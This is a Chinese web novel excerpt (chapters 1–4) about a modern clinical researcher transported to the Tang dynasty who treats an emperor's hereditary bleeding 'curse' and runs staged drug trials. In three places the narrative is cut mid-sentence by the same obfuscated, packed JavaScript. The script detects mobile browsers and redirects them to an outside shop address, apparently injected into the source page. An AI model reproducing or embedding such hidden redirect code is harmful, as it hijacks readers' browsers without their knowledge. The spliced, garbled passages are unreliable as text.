《穿回大唐做临研》 1. 重回大唐 一阵突如其来的疼痛袭来,陆知晓的世界天旋地转仿佛正在坠入深渊。她四周的呼叫声越来越远,直至消失,万籁俱寂。 她缓缓睁开眼,发现这个地方暗得可怕。她模模糊糊地记得,在晕过去之前,她被一个因为试验结束后意外死亡而来医院闹事的受试者家属用冰冻过的水瓶砸到了头。 陆知晓下意识地探了一下自己的颈动脉,沉稳有力的跳动表明自己没有死。 那这又是哪里?陆知晓把她科室同事的名字全都喊了一遍,没有一个人回应她,于是她只能摸索着这片粗粝的泥地匍匐探索。 突然,一个巨大的声响在她前方炸开,紧接着传来的是一道苍老的声音。 “阿麓,今晚是咱们的洞房花烛夜,你这是想跑去哪儿啊?” 他是在叫我吗?他是谁? 一阵叮铃桄榔的声响后亮光突然填满屋子,布满皱纹的脸在黑夜中显现出来,一双眼睛浑浊、精明、又充满欲望,比这无知的夜更可怖。 老头向她扑过来像条发了疯的野狗,手脚都被限制住的陆知晓只能张口咬住老头的耳朵,狠得几乎要整个咬下来。 老头吃痛,捂着自己流血的右耳怒吼:“冯麓你个贱蹄子!想谋杀亲夫么!”他左手继续脱着衣服,而右手狠狠掐住陆知晓的脖子,令她一点喘不上气。 陆知晓无法敌过体力的悬殊,她的大脑开始缺氧,四肢开始无力,血腥气弥漫在她口腔与鼻腔,恍惚间好像还看到了去世多年的太奶。 还有很多病人很多项目在等她,不能就这样死了。 陆知晓咬着牙拼尽最后的力气踢向老头的□□,再趁势用拳头狠狠砸向老头的太阳穴和风池穴,毫不手软。 果然,老头眼睛猛地一瞪就直直倒下。 陆知晓擦了擦嘴角的血,颤颤巍巍地站起,扶着墙走向透入一丝月光的门口。 就在这时,她无意间瞥到了屋子里唯一一面铜镜。镜子里竟是一个从来没有见过的人。 “这是谁?”陆知晓震惊地摸着自己这张美丽却陌生的脸,“做梦?灵魂互换?还是我已经转世投胎了?” 纵然陆知晓对此异象仍然百思不得其解,但对于当下的她而言,逃生远比研究量子力学更重要,于是她脱下喜服连夜逃离这个噩梦般的山村。 陆知晓猜测这副身体的主人应该是营养不良,身体很明显赶不上自己的精神,以至于一路上摔了好几个跤。 陆知晓在身上翻找可以包扎的物品,意外翻出一条带“麓”字的手帕。 “冯麓……”她回想起了老头方才对自己的称呼。她心中反复默念记住这个名字,根本来不及细想就带着新身份继续上路。 冯麓生怕有人追上来一刻都不敢停歇,就这样一直跑一直跑,终于在小路的尽头看见了村落。 一行人正朝她的方向走来,她的意志再也无法强撑这具已经到达极限的身体,连“救救我”三个字都没能说出就直直倒地。 等她再次醒来的时候自己已经换了个地方躺着,而先闻其声的是一个陌生男人和另一个陌生的老头。 “先生,这姑娘除了脖子上的掐痕尚未消除,其余已并无大碍。” “那就好。” 冯麓面如死灰地又把眼睛重新闭上了。这地方老龄化也太严重了吧?她内心无助地呐喊着。 老头结束对话,缓缓走到她床边,语气里还带着淡淡的揶揄:“小姑娘,别装睡了。” 被拆穿的冯麓只能睁开眼睛缓缓坐起来,视死如归地垂眸说道:“多谢各位恩人救我一命,需要我如何回报直说便可。” “人命至重,有贵千金,一方济之,德逾于此[1]。治病救人乃医者使命,姑娘无需回报。”冯麓听到这些话不由得抬起头,面前的老头正慈眉善目地笑着,浑身散发着药草的气味。 这老头居然是个医师?等等,这个医师好像在哪儿见过? 冯麓苦思冥想以后终于想到了那个名字,睁大眼睛不可置信地问:“是药王吗?您是孙药王?” “‘药王’这个名号老朽可不敢当,不过老朽的确姓孙。”药王浅浅微笑道。 “像,太像了。”冯麓目不转睛地盯着药王,低声感慨道。 药王这个脸真是跟课本画像和药学院楼下的雕像一模一样,她上学的时候每天都要看上好几遍,怎么可能认不出来。 “先生,我非常非常崇拜您,我的硕士论文课题就是改良您的‘泽兰汤’[1]并在临床上验证效果……”冯麓双手握住药王的手掌,语无伦次地说了一大串他们根本听不懂的话。 这判若两人的模样属实把孙药王吓了一跳,他拍了拍冯麓的手道:“姑娘,看你这副生龙活虎的模样,想是精气神已恢复了大半,你家人应该很担忧你的安危,还是快快回家吧。” 冯麓慢慢冷静下来,环视这古色古香的陈设和面前这些比她大一千多岁的人。 她大概是穿越了,穿越到了这个拥有孙药王的大唐盛世。她现在已经不是三甲医院的副主任医师,而是个被娘家人高价卖掉又谋杀亲夫的罪人。 冯麓不可能再回去,但又人生地不熟,无奈之下只能把自己经历过的惊险一夜半真半假地告诉了他们。 她用讨好的语气和泫然欲泣的眼神乞求道:“先生,我已无处可去,若您愿意收留,以后这里的杂活全都可以交给我。” 药王思考了半晌,考虑到女子中极少有懂穴位的人,最后同意收她当学徒,作为给女病患施针推拿的助手。 给药王当学徒的这些日子里,冯麓每日都要从天黑干到天黑,虽累得不行却前所未有地踏实。半年后的某天,冯麓前往长安帮即将闭关的药王采购名贵药材。 冯麓拿着药王给的单子和信物去了他指定的药铺,高高的柜台后钻出来一个矮矮的男掌柜抬头疑惑地问:“今儿怎的换了个姑娘来?你是孙道士的什么人?弟子?” 冯麓浅笑着回答:“算是吧。” 等掌柜把药材包好拿来,冯麓顺手翻看了一下药材,皱着眉头说:“掌柜,麻烦您把这些野山参换一些好的来,这几根芦头短粗,而且铁线纹太浅了。这些西红花气味很淡,而且有霉味儿,也得麻烦掌柜换一些。” 掌柜面色尴尬,他没想到这个看似涉世未深的小姑娘居然可以看穿他的小把戏,只好重新挑了上好的药材。 冯麓出了药铺后走在朱雀街上,好奇地四处张望着这个一千多年前的著名大都市。 突然,不远处传来一阵惊呼,紧接着传来哭喊交杂的喧哗声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513160|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。冯麓心里冒出不祥的预感,立即小跑上前。 随从模样的人跪在一个男子身边,流着泪向一旁蹲下的妇人禀告:“二公子已经脉息全无了,请夫人节哀。” “我的儿啊你怎么就没了——” 冯麓见势根本来不及做多余的反应,下意识扒开人群就冲到公子身边,一边探着颈动脉一边问:“他晕倒多久了?”“刚晕倒没多久。” 她快速把公子衣服全部解开,露出紧实裸露的胸膛,夫人惊慌失措地高喊:“你是何人?光天化日之下这是在做什么……” “要是想救你儿子就安静待着!”冯麓厉色喊道,然后找到两□□中点,伸直手臂开始垂直按压,嘴里还念念有词。 一个循环后,冯麓一手按压额头,一手抬起下颌,撕下自己的棉麻手帕盖在二公子嘴上,毫不迟疑地就开始人工呼吸,完全没有注意到周围一圈人那活见鬼的神情。 循环往复,即使冯麓的手臂已经酸麻到胀痛,也都没有停下手里的动作。直至二公子面色红润、渐渐苏醒,她才大汗淋漓地收回手瘫坐在一旁,欣慰地看着母子相拥而泣。 “姑娘真乃神仙下凡,竟有让人起死回生之神力,”夫人从钱袋子里掏出一枚金锭递给冯麓,“多谢姑娘救我儿一命,这点心意还请收下。” 冯麓摇摇晃晃地站起身,笑着摆摆手说道:“我不是神仙,我只是医者,治病救人乃医者使命,夫人无需回报。” 当了活雷锋的冯麓乐呵呵地一头扎进西市,好不容易出来一趟,说什么也得逛上一圈再回去。不过,正当她对小摊上的糖人爱不释手的时候,有个全身黑甲的陌生男子已经悄无声息地站在了她身边。 这么魁梧的男人也喜欢糖人?冯麓没当回事,付完钱抬脚便走,却被那人伸手拦了下来。 “姑娘,陛下请您入宫一趟。” “陛下?找我?我只是一介小医师。”冯麓指着自己反问确认。 对方却斩钉截铁地告诉她:“陛下请的就是医师。” 面圣是一件大事。 宫里的嬷嬷不仅给冯麓从头到脚地沐浴了一遍,还把拿了一件熏了一天香的衣服给她换上。冯麓低头嗅了嗅自己的衣领和衣袖,问:“嬷嬷,我身上很臭吗?” 嬷嬷露出标准的微笑解释道:“陛下喜欢干净芬芳的味道,否则会头疾发作。” 等所有准备都做好时已经过去了一个多时辰,冯麓和两名侍女一同踏着黄昏暮色前往紫宸殿。 “翠儿,这位美人儿是谁?怎么宫中从来没有见过?” “是陛下新召的医师。” 她们自以为够小声,却不知此时秋风正起,她们二人恰好在上风向,议论声一五一十全传入了当事人冯麓的耳朵里。 “医师?从来没听过有女子学习医术,会不会是骗子?” “我也觉着不像医师,应是想靠别的法子来求得陛下宠爱的花瓶吧……” 这样的话语陆知晓几乎是从小听到大,女生没有男生聪明,女生天生学不好理科,女生学医比男生困难云云。 陆知晓从来不信这些话。她偏要当女医师,还要当得比男人都好。 注释及参考文献: [1]《备急千金要方》孙思邈(唐)。 2. 李氏诅咒 殿门被两侧的公公推开,隐约可以看到一个人正坐在帷幕后。"民女参见陛下。"冯麓行礼道。 站在雷厉风行、杀伐果断的唐乾宗李麒面前与铡刀悬于头上没什么两样,这比她三十五年的人生中任何一场考试都要让人肾上腺素飙升。 “平身。”李麒说道。 病得不轻啊,冯麓默默在心里判断。李麒的内里已经像个空壳了,以致于在安静如此的大殿中都几乎听不见他的声音。 “多大年纪了?”李麒问。 冯麓低垂着眼回答道:“回陛下,民女今年十七。” “今日在朱雀街救了温二的就是你?” “回陛下,民女今日的确诊治了一位公子。”冯麓心里开始打鼓,她救的那个人的病情不会加重了吧?难道皇帝现在是来找她兴师问罪的? “太好了。”李麒撑起上半身,语气里带了些许激动,“朕终于找到可以将人起死回生的神医了。” “嗯?”冯麓还没能细细分析李麒的那句话,高公公就已经宣布让她立即上前去为皇帝看诊。 李麒斜斜地靠在金色的龙椅上,看上去虚弱无比。随着二人间的距离变近,李麒那隐藏在珠帘下的面容也清晰地显现在冯麓眼前。 那是一张足以冠绝天下的脸,与历史书上的画像简直大相径庭。而美中不足的是,那张脸太过苍白,而且有数道红色的条纹从李麒的额头和面颊延伸出来,直到衣领深处。 若血纹是在别人脸上,则难免会让人想到丑陋可怖的红纹九头蛇,但在李麒的脸上,只会让人联想到艳丽无比的曼珠沙华。 冯麓一边把脉一边询问:“陛下是否有胸闷气喘?”李麒有气无力地回答:“有。” “是否有食欲不振?”“稍许。” “是否有软弱乏力?”“时常。” “陛下是否有四肢发冷?”“偶尔。” 冯麓收回手,说:“陛下,请伸舌。” 李麒撩开珠帘,伸出舌头。冯麓仔细察看,发现他舌质淡却舌尖红,还有好几个深紫色的瘀点。 冯麓低头从腰带处掏出一块铜镜碎片,找到烛光反射的角度后照在李麒的口腔和鼻腔。她心想果然,李麒的口腔黏膜和鼻腔内部黏膜密密麻麻的全是出血点。 “难道是ITP[1]?” 冯麓皱起眉头低声念叨着旁人听不懂的语言,而李麒觉得这个少女医师颇有意思,问诊方式居然如此与众不同。 “陛下舌质红、苔白、脉细弱,脾气亏虚,乃气不摄血证。”冯麓跪在李麒身边汇报道[2][3]。 “‘气不摄血’?朕还是第一次听闻这个说法。你叫什么名字?” “民女冯麓。”冯麓不卑不亢地垂眸看着地面,“二马之冯,瞻彼旱麓[4]。” “名字不错。”李麒浅笑,云淡风轻地问,“依你来看,朕还有的治吗?” 听到这句话的那瞬间,冯麓感觉自己血液都要倒流了。 这个送命题还有第二个答案吗?当皇帝问自己的病情严不严重,难道要说“陛下你大限将至了”?这不是嫌命太长吗? 冯麓垂眸回答:“陛下乃真龙天子,万寿无疆,自然有的治。” 李麒长长地呼出一口气,问冯麓:“冯小医师,你有听闻过‘李氏诅咒’吗?” 冯麓当然没有听说过,历史书上不会收录这种野史,药王和师兄也向来不谈论宫闱秘事。 “先帝有违礼法夺得皇位的事儿,你总该知晓吧?” 冯麓心里大为震惊,李麒提到的是“玄武门之变”吗?这是可以说的吗? 李麒没等到冯麓的答案就自顾自地说下去:“自那时候起,皇室血脉一出生便患有天生顽疾。十岁显现红色斑纹,接着就是头疾发作、无故血流,至多活不过二十五岁便会血崩而亡。此顽疾不限男女、没有病因,并且多年来太医署始终对此束手无策。” “世人皆说,此症乃天命给李氏皇族降下的诅咒,为的就是让皇族血脉深深记住残害手足的罪孽,并用惨死的代价为此赎罪。”李麒说到这里,语气变得哀伤无比。 而此时的冯麓没办法共情,因为她正根据李麒的话飞速思考着这个披着家族诅咒的神秘家族病究竟是什么。她串联起所有的症状和体征,判断这个纠缠李氏的家族病可能不是ITP,而是罕见的HHT[5][6]。 李麒用手将冯麓的下巴抬起,居高临下地看着她的双眼,“如今朕离二十五岁已只剩两年,若你能成功为朕解咒,朕便可以坐稳这大唐江山,你也可以拥有后半辈子的荣华富贵。” “但冯小医师,你若是解咒失败——” 李麒此时的眼神像一把尖刀一样锐利,低沉的声音一扫刚刚的哀伤,冷漠无情得像来自地狱一般。 “那就与朕一起去见阎王吧。” 冯麓听到这句话以后,恨不得立即开响反帝反封建的第一枪。 她才刚从上一个医闹中逃脱出来,就又碰上了更重量级的医闹,老天爷冲业绩也不能逮着同一个人薅啊。 冯麓别无选择,只能硬着头皮上了。 她把过了宫里所有皇族的脉象,无一例外全是“气不摄血证”,以及在不同部位拥有或多或少的血色纹路。 这个病跟HHT很像,又有点区别,所以冯麓姑且将这个顽疾命名为“血纹症”。她开始不眠不休地在密阁翻阅医书,但是成果寥寥,前人总结出的方剂都不适用于血纹症这个诡异复杂的证候。 现如今距离“玄武门之变”已经过了百年有余,和李氏通婚的人估计已经遍布长安乃至全唐了,若是不早日找到解决之法,因此病症丧命的人会越来越多。 “保持冷静,陆知晓,你可是学了十七年医的人。”冯麓敲了敲自己的脑袋,强迫自己打起精神继续思考。 想到这里,冯麓突然福至心灵似的,按照记忆把脑海里那个方剂赶紧写下,生怕突然忘记了。 “还好,”她垂眸满意地点点头,“书籍只截止到隋唐,但我的记忆不是。” 这个方剂看上去是最可能调和血纹症的配伍方法了,但冯麓对此并没有把握,新病对新方,一旦出了差错那就是给李麒殉葬的下场。 此时,高公公来密阁询问冯麓的进度,她决定把自己心里的计划说出来试一试。 早朝未散,紫宸殿正站满了大臣,几十双眼睛刹那间齐齐回望将冯麓从头到脚扫了个遍,让她差点连门都没敢踏进去。 “冯小医师,你已经找到解咒的药方了?”此话一出,冯麓身后冒出一阵交头接耳的议论声。 冯麓咽了口口水,稳定心神后回答:“秉陛下,暂且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513161|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找到了。” “‘暂且’是何意?” “陛下,此方乃民女根据血纹症的特征配伍而成的新方,在呈上御用之前,民女请求进行民间方剂尝验。”冯麓跪下,一字一句地说着自己的计划。 “那将药让尚药局的监官尝验便可。”李麒在帷幕后坐起身来说道。 “若一方新药只拿给监官尝验却不在血纹症病患身上验明,那民女如何得知此药能不能给陛下解咒,又会不会导致陛下病情加重?” “依你所言,朕还需要等多久?” 冯麓回答:“回陛下,至少一年半。” 此话一落,李麒陷入了沉默。一旁的中书令苏炀看着这情形,提高了音量开口:“陛下,微臣认为此女不可信。” 苏炀一石激起千层浪,殿中不少官员都持反对意见,甚至上升到了对冯麓的人身攻击。 “陛下,此前呈上御药的确需要常验,但从未需要如此长的时间,这让微臣不得不怀疑这江湖郎中的居心啊!”中书侍郎谢磐迎合苏炀说道。 冯麓面对一群比她大了不知道几轮岁数的陌生男人,不仅没有退缩反而话语越发坚定:“这位大人,民女只有不遗余力救治陛下才能求得一命,有何动机害陛下?” 苏炀再次接过话头,继续道:“陛下,袁太医行医三十年,微臣认为他相对更稳妥些。至于这个江湖郎中嘛,廷杖打发即可,各位大人应该没有异议吧?” “苏大人,下官有异议。”这是唯一一道与群臣相对的话语声,跪在地上的冯麓跟殿中其他人都齐齐转身看向声音的源头。 那男子穿着一袭浅绯色官袍站在人群中,丝毫不畏惧四周包围过来的眼神,淡淡地说道:“若太医署有法可解,也不至于让陛下承受多年痛苦,让袁太医诊治无非是顺从天命罢了。如今冯小医师是唯一可以替陛下解咒之人,苏大人您如此阻拦,是不希望陛下解除诅咒吗?” “郑安沅,你胡诌什么!” “众卿肃静,此事朕已有决断。”始终沉默不语的李麒终于出言制止了这场争执,“自今日起,冯麓任‘验方使’,负责新方试验一切事务,一年半后必须呈上御药。” “高富,赐冯麓天金鱼符,见此鱼符如见朕本人。”他的声音变得更为虚弱,但话语的气势却丝毫不减。 居然真的答应了。冯麓默默地用余光看着李麒的背影,思绪万千。 现在,她和皇帝已经不单纯是医闹双方的关系,他们还有一个共同的敌人,那就是这个‘李氏诅咒’。 注释及参考文献: [1]ITP:原发性血小板减少性紫癜。 [2]勾月,□□,朱叶.黄春江从脾论治遗传性毛细血管扩张症所致鼻出血经验介绍[J].山西中医,2025,41(5):9-10. [3]王永,黄志惠,孙海清.圣愈汤加味治疗原发免疫性血小板减少症气不摄血证疗效观察[J].西部中医药.2025,38(6):137-140. [4]《大雅·文王之什·旱麓》佚名。 [5]HHT:遗传性出血性毛细血管扩张症。 [6]王向东,范愈燕,伯铭羽.遗传性出血性毛细血管扩张症的诊断[J].中国耳鼻咽喉头颈外科.2013.20(7):360-362. 3. 蒲城堂主 拿到国家局准许试验批件后,冯麓熬了几个大夜把试验方案设计完成,她在桌案上做着眼保健操一边捋着自己的计划。如果要在期限内交付新方,那现在就必须在一个月内找十五个监官完成一期试验[1]。 冯麓对于官场并不熟悉,庭上公开支持她的尚药局奉御是她唯一有交集的官员,她只能厚着脸皮去求他帮忙。 “冯大人,你如今是陛下钦点的验方使,交代下来便可,不必如此客气。”郑安沅笑着说,利落地交代手下按新方熬制药液,然后分发给尚药局的监官们进行第一步尝验。 冯麓仔细将监官的服药过程全部记录在了她设计的“医案格”[2]里,除了最基本的姓名、籍贯、年龄和性别外,还包括用药前证候、用药时间、用药剂量以及尝验后的七日内用过的其他治疗。 顺利通过一期试验后,冯麓就要准备开启二期试验[3]了,这需要去长安和附近的地方寻找血纹症患者服用新方,据此定下多少剂量最为合适。 冯麓从吏部侍郎那边借来六名即将铨选的选人[4],担任这次试验的临床协调员[5]。 “出发前,请每位选人把试验方案誊抄五份,让方案像铁烙般印在各位的脑海中,并且没有任何理由违背方案、更改方案。 谨记你们只是选人,记录验方之人不能诊疗,即使精通医术也不行。若被我发现选人有代替医师问诊的行为,杖责并罚俸。” 冯麓把人员安排张贴在绫绮殿的外墙上,“这次试验一共是五个队伍,两人留在长安,其余四人分别去往雍州、岐州、同州和华州。” 选人们陆续出发,冯麓也终于可以喘口气。不过她前脚刚把采买的药材和报平安的书信寄回山谷,后脚就收到了驻地选人的飞鸽传书。 “冯大人,蒲城这边情形有点难办,恐怕需要您亲自前来。” 驻地蒲城的选人杨凛早早就在城门口等候,刚上马车就与冯麓滔滔不绝地吐槽起来。 蒲城有一个医馆称仁医堂,堂主白理是华州颇有盛名的医师。而主要矛盾就在于这个堂主,他强烈反对验方工作,还命令手下所有医师全都拒绝合作。 “县令能否帮忙劝说一下?” “没用的,他谁的话都不听。”杨凛委委屈屈地说道,“冯大人,您要是再晚来半日,也许小的已经被仁医堂的人丢到洛水里了!” “大人,咱要不换个地儿吧?就白堂主那个脾气,蒲城实在没法开展验方呀。” “不行,”冯麓斩钉截铁地否决了这个提议,“蒲城是大唐陵邑[6],这里的病患比其他几个地方的病患加起来还要多,不能放弃。” “既然您是神医,不可以自己给病患把脉吗?” “不行,”冯麓扭头正色警告道,“你是记录者,我是督查者,参与验方之人怎可自我记录与督查?这不是很容易作假吗?” 杨凛低头应道:“是,小的记住了。” 冯麓苦思着皱起眉头,连行囊都没放下就让车夫直接改道去仁医堂,她必须亲自与白堂主商议此事。 仁医堂门口,护院瞥了一眼冯麓,冷哼一声:“堂主说了,为了验方之事而来的人谁也不见,大人请回吧。” 冯麓见势,给护院手里塞了一枚银锭笑得颇为温柔:“这位大哥,我这次前来有要事与堂主大人协商,大哥可否通融一下?” 伸手不打笑脸人,而且世界上没有用钱解决不了的事情,如果有,就多给点。果然,护院还是收下两枚银锭,给冯麓开了门。 仁医堂不愧是华州第一大医馆,馆里只有两名医师坐诊却有十几名病患在排队,药房里抓药煎药的杂役也忙得团团转。 “姑娘,请问你是需要看诊吗?”一个与冯麓年纪相仿的小医师围上来,眼神里充满期待。 冯麓向他展示自己的鱼符,然后说:“我是陛下钦点的验方使,能否将我引见于堂主?” “原来只是来找堂主的。”对方没有一丝陛下使者的胆怯,只有自己没能看诊的失落。他指着正蹲在草药田旁观察长势的男子,向冯麓说道:“喏,那就是我们堂主了。” 白理身穿一身麻布交领青灰色长衫,袖口和鞋子全是侍弄花草沾上的泥巴,看上去颇为朴实无华,也并没有因为自己名震四方就将细碎的活假手于人。 “白堂主您好,我是陛下指派来的验方使,冯麓。” 白理转过头,微眯了眼睛上下打量了一下冯麓。他挑眉道:“居然是你。” “什么?” “一月前用些奇幻异术在朱雀街救了人的,是你吧?”白理把手掌上的泥拍了拍,站起来直面冯麓问道。冯麓这时才知,原来那一日白理也在。 他质问道:“验方使,你真的学过医术吗?如果你学过医术,那就应该看得出来‘李氏诅咒’已无药可医,你做的一切都是无用功,如今来找百姓帮你尝验药方或许只会令他们死得更快。 如果你根本就没学过医术只会一些旁门左道的话,我就更不会陪你在这儿浪费时间了,蒲城百姓虽身负诅咒,但也不是你拿来向陛下献媚的工具。” 冯麓被白理那咄咄逼人的话气得胸口生疼,不过她为了早日完成新药研发还是重新堆起笑容,“白堂主,污蔑人可得有根据啊,你如何就能肯定,病患们喝了我的方子就会死得更快?若我说,我真做出解咒药方了呢?” 白理面无表情,双手环抱着靠在一旁的樟树上,反问:“验方使倒是说说看,要如何才能解除诅咒?” “要我说,这世上根本就没有诅咒,只有未被定义过的疾病,而这‘李氏诅咒’正是让人气血两虚的家族病症。这样的病症就像蒲城的洛水,只要下游后代的身体里还流着上游祖先的血,那就不可能逃脱这顽疾的纠缠。” “白堂主您也是医师,应该读过张医圣的《金匮要略》吧?” “嗯。”白理冷冷地应了一声。 冯麓仍然维持笑容说道:“那堂主就应该知晓,气血通畅是人健康之本,气与血互为根本。” 白理移开眼神思考了一会儿,点点头让她继续说下去。 “那若是气不足以统摄血呢?”冯麓注视着白理探究的双眼,“一个盈满水的木桶开了一个洞,我们要如何才能在不更换新木桶的前提下让这个桶里的水始终保持在满溢的状态呢?” “设法堵住洞口,并不断加水。”白理若有所思地说。 “堂主您说的没错。” 午后的阳光洒在冯麓的脸上,将她的脸勾勒出一道金色的光弧,“所有患上家族病症的人都是这个破了洞的木桶,木桶则是‘气’,水流则是‘血’。只要我们找到可以堵住缺口不断加水的方法,就可以让病患延年益寿了。” 白理皱眉看着面前对诅咒侃侃而谈的冯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513162|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麓,心里五味杂陈。 蒲城有很多受了诅咒的百姓,不管是他还是他师傅,都只能眼睁睁看着他们死在二十五岁而无能为力。 与其说他不相信冯麓可以找到解咒之法,还不如说他不相信连一个少女都可以做到的事,自己的师傅却耗尽一生的时间也没法做到。 白理神色沉重地垂眸问:“你学了多久的医术?” 冯麓眼神飘忽地回答:“半年。” 她为了不节外生枝而隐瞒了自己的真实情况,毕竟她以冯麓的身份学医的确只有半年,她想这应该不算撒谎。 “师从何人?” “孙道士。”但凡学习医术就不可能不认识先生,既然白理不信任自己,那她说出先生的大名应该会更有说服力吧? 谁成想,白理听到这个名字后反而让已经放软的语气重新变得尖锐冰冷:“你说的是出身京兆华原的孙道士?” “是,”冯麓敏锐地察觉到对方情绪不太对劲,小心翼翼地开口,“有什么问题吗?” 问题大了。 白理面色铁青地对不远处忙碌着的杂役喊:“来人,把她和她带的人全给我轰出去。”变脸之快让冯麓根本摸不着头脑。 她慌张地拉住白理的衣袖,拦住他的去路问道:“白堂主这是作何?刚刚咱们不是聊得挺好吗?” “验方使,我真是差点儿就掉入你精心设计的圈套了,孙道士仙逝多年被你拿来当成攀附权贵的垫脚石,你真有违医者之名。”白理似乎被触到了什么逆鳞,连眼神都带着深深的厌恶。 “什么?”冯麓还以为自己理解错了,又不可置信地问了一遍,“孙道士仙逝了?” “五年前坊间就有传言,孙道士意外尝到毒草溘然长逝了。难道你不知晓此事吗?” “先生明明活得好好的,现在还在闭关呢!谁这么缺德给先生造谣传谣啊?”冯麓着急地从怀里小心翼翼地掏出一枚玉牌,“白堂主,我这儿有先生的信物,这样你总相信了吧。” 坊间流传先帝曾经赐给孙道士一枚成色极佳的和田玉牌,不仅光泽如月光泉水般流动,上面还刻着“悬壶济世”的字样。而眼前冯麓手中的这枚玉牌,与传言并无二致。 白理默默抽回那只被冯麓拉着的衣袖,神情颇不自然地问:“那你需要我做什么?” “帮我招募中咒之人来参与尝验,并对他们进行问诊评估。”冯麓真挚地看着白理的双眼,“多谢白堂主的支持,若解药制成,我定重金感谢。” “不必。”白理移开目光重新投入到药田中,他背对着冯麓,用淡如泉水的语气说出无比坚定的话语: “我白理行医从来就不是为了赏金。” [1]一期试验:指现代药物试验中对健康的成年人进行的药物试验,目的是验证药物安全性。 [2]医案格:古代版的“病例报告表”,简称“CRF”。 [3]二期试验:指现代药物试验中对适应症患者进行的药物试验,目的是进一步验证安全性和定下药物剂量。 [4]选人:指通过礼部科举后,已经获得官员资格但没有授予正式官职的候选官员,朝廷会对其进行“铨选”。 [5]临床协调员:指现代药物试验中协助研究者完成药物研究过程的工作人员,简称“CRC”。 [6]陵邑:指皇陵所在地。 4. 验方初探 仁医堂的南亭,冯麓和白理在针对方案进行友好的讨论。 “你说,整个大唐不止在我们这儿开展验方?” 冯麓点头,“长安、雍州、岐州、同州和华州,这是我从密阁案卷中得知的,中咒之人最多最密集的地方。” “人参、黄芪、当归、生地黄、熟地黄、白芍、山药、蒲黄和川芎。很不可思议却又很合适的用药。”白理又仔细看了一行小字,惊讶问道:“你要把药全部煎好,再一口气全送给病患?” 这个做法想想就不可能,但冯麓却一脸无所谓的表情,好似根本没把这个难题当成一件难事儿。 “验方使你不是在开玩笑吧?煎了多日的药汤还能喝吗?若是能喝,那煎好的药汤又要如何贮存分发?” 冯麓轻笑,反而向白理提问:“白堂主,你可知这世间有何食物多年不腐?” “好像没有。肉会臭,菜会蔫,米放久了也会生虫,几乎所有能入口的都会腐烂。” 白理眼神一转,看到了院子里堆放着的空酒罐,灵机一动对着冯麓说:“酒!” “聪明。”此时的冯麓弯了弯眼睛,露出自信的笑容。 “将酒多次加热反复蒸馏,最后将极少量但纯度极高的酒液加入煎好的药汤中,加以用陶瓶分成每次需要服用的剂量,即可解决药汤无法贮存多日的问题了。” 她明明在夸赞自己,可白理却觉得她才是那个真正聪慧之人。 酒是生活中最常见的食物,却被她发现了另一种用途。这样新奇的联想在白理耳朵里几乎像是天书,不仅古书从未记载,师傅也从未提及,但这在冯麓的认知里似乎早已经是司空见惯的模样。 冯麓挑挑眉,用眼神示意白理继续阅读方案,“白堂主,别走神啊,还有更重要的需要讨论呢。” 白理好似被瞥见心事一样,颇不自然地低头去翻阅方案,又提出新的问题:“‘安慰剂’,是何物?” “就是一瓶只有枯草和树皮的水。”冯麓淡淡地解释,“此次验方秉持‘空白对照’[1]的方法,十二个人会被分成三组,一组使用正常用量,一组使用其一半的用量,而剩余的人将不服用解药。” 白理那心里刚萌生的好感迅速被强烈的愤怒迅速填满。 他立即把方案册拍在桌面上,“腾”地站起身,不满道:“验方使你身为医者为何要将病患分成三六九等?而且有些人服不到解药是不是有点太过分了?你给了他们希望,又要亲口告诉他们不论如何努力也还是难逃一死吗?” 冯麓其实也一直在纠结二期和三期的试验该使用“阳性对照”[2]还是“空白对照”。 作为患者肯定希望不论如何都能接受治疗,但是对于研究者而言、对于一个前所未有的病症研究而言,显然使用“空白对照”更合适。 “白堂主,分组是为了观察疗效,这是不得已而为之。若是大家都服药,就根本无法判断解药究竟有没有减缓顽疾进展。 不过堂主可放心,我们会在验方开始前与病患说明此事,只有他们接受分组才能让他们服药。” “那要是他们因为此药病情加重该当如何?”白理好似要把冯麓盯出一个窟窿一般,声音也冷得吓人,“你就是这样尊师重道的?你眼里对生命还有一丝敬畏吗?” “若是他们因我病情加重,我会尽我最大的努力救他们。以我孙氏门徒的身份发誓。” 冯麓也站起来,收起那些讨好大过真诚的笑容,沉稳又无比坚定地说道:“而且,我相信白堂主及手下医师的能力,若你我联手,一定不会让蒲城任何一个人身陷险境。” 白理用眼神持续地探究着面前这个不走寻常路的女子,她从一开始就有着非常人的自信,而奇怪的是,此时此刻她的自信居然来自于他。 冯麓这个女子,有一种可以将人心拿起又放下的能力。 